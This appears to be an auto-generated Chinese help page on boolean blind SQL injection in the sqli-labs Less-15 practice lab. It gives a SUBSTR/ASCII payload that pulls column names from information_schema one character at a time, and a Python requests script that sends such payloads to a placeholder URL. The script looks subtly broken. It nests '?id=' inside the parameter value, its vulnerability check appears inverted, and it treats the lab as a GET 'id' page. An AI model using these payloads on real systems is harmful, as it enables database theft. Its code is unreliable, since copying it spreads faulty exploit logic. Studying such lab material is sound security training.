sqli-labs less-15 布尔注入 用substr
时间: 2025-03-07 11:02:38 浏览: 49
### 关于SQLi-Labs Less-15中的布尔盲注利用`substr`函数
在处理布尔盲注攻击时,通常通过发送特定条件查询来推断数据库的内容。对于Less-15级别的练习,目标是从`information_schema.columns`表中提取数据列名称的信息。
为了实现这一点,可以构建如下形式的payload:
```sql
?id=1 AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),position,1))>value#
```
这里的关键在于理解如何逐步猜测字符并验证结果。具体来说,可以通过调整`position`参数的位置以及比较操作符右侧的`value`来进行二分查找,直到成功重建整个字符串[^1]。
当遇到错误提示如:“You have an error in your SQL syntax”,这表明输入被服务器识别为非法语句,可能是由于单引号未闭合或其他语法问题引起。此时应确保所有特殊字符都已正确编码或转义[^2]。
另外一种方法是采用时间延迟技术(例如`SLEEP()`),这种方法可以在某些情况下绕过简单的WAF防护措施。不过,在布尔型注入场景下更常用的是直接基于真假返回不同的页面响应内容来进行判断[^3]。
最后值得注意的是版本差异可能影响具体的执行细节;因此建议先确认MySQL的具体版本再做进一步尝试[^4]。
```python
import requests
def check_payload(payload):
url = 'http://example.com/vulnerable_page'
params = {'id': payload}
response = requests.get(url, params=params)
# 假设如果存在漏洞则会显示正常页面,否则报错
return "you are in" not in response.text.lower()
# 测试用例
test_case = "?id=1 AND IF(ASCII(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='USERS'),1,1))=97,TRUE,FALSE)"
print(check_payload(test_case))
```
阅读全文
相关推荐

















